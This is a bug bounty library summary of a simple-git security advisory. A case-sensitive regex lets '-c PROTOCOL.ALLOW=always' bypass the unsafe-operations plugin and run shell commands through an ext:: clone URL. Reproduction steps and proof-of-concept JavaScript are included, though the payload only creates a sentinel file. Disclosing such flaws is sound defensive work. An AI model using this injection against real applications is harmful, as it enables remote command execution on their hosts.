# simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE

simple-git's blockUnsafeOperationsPlugin regex is case-sensitive, so `-c PROTOCOL.ALLOW=always` bypasses it and enables ext:: protocol for OS command execution.

- Payout: Research
- Severity: critical
- Program: simple-git
- Found by: CodeAnt-AI-Security
- Disclosed: 2026-03-10
- CVE: CVE-2026-28292
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r275-fr43-pm7q
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-r275-fr43-pm7q
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** npm library simple-git blockUnsafeOperationsPlugin / git -c config args
**Root cause:** preventProtocolOverride uses case-sensitive regex /^\s*protocol(.[a-z]+)?.allow/ to detect protocol.allow overrides, but git normalizes config keys case-insensitively, so uppercase/mixed-case variants slip through.
**Steps:**
1. Confirm git normalizes keys: `git -c PROTOCOL.ALLOW=always config --list | grep protocol` outputs `protocol.allow=always`.
2. Call `simpleGit().clone('ext::sh -c touch% /tmp/pwn-codeant% >&2', '/tmp/example-new-repo-2', ['-c','PROTOCOL.ALLOW=always'])`.
3. Observe lowercase `protocol.ext.allow=always` throws GitPluginError (blocked), while uppercase variant passes the plugin check.
4. Git enables ext:: and executes the shell command; sentinel file `/tmp/pwn-codeant` is created before git errors on the missing repo.
**How found:** Noticed the fix for CVE-2022-25912 used a case-sensitive regex while git config keys are case-insensitive; tested uppercase/mixed-case variants against the plugin.
**Exploitation:** Application passes user-controlled customArgs into clone()/fetch()/pull()/push(); attacker injects `-c PROTOCOL.ALLOW=always` plus an `ext::sh -c <cmd>%` URL, causing git to spawn the command as the process user.
**Insight:** When auditing a blocklist/denylist regex guarding a subprocess, check whether the downstream tool normalizes input (case, unicode, whitespace) differently than the regex — a one-char `/i` gap reopens a previously patched RCE.

## Proof of concept (copied exactly from the original report)

**Uppercase PROTOCOL.ALLOW bypass clone with ext:: RCE**

```
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex
]).catch((e) => {
  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});
```

**Real-world userArgs injection with attacker ext:: URL**

```
const userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,   // should have been LEGITIMATE_URL
  CLONE_DEST,
  userArgs
).catch(() => {
  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});
```

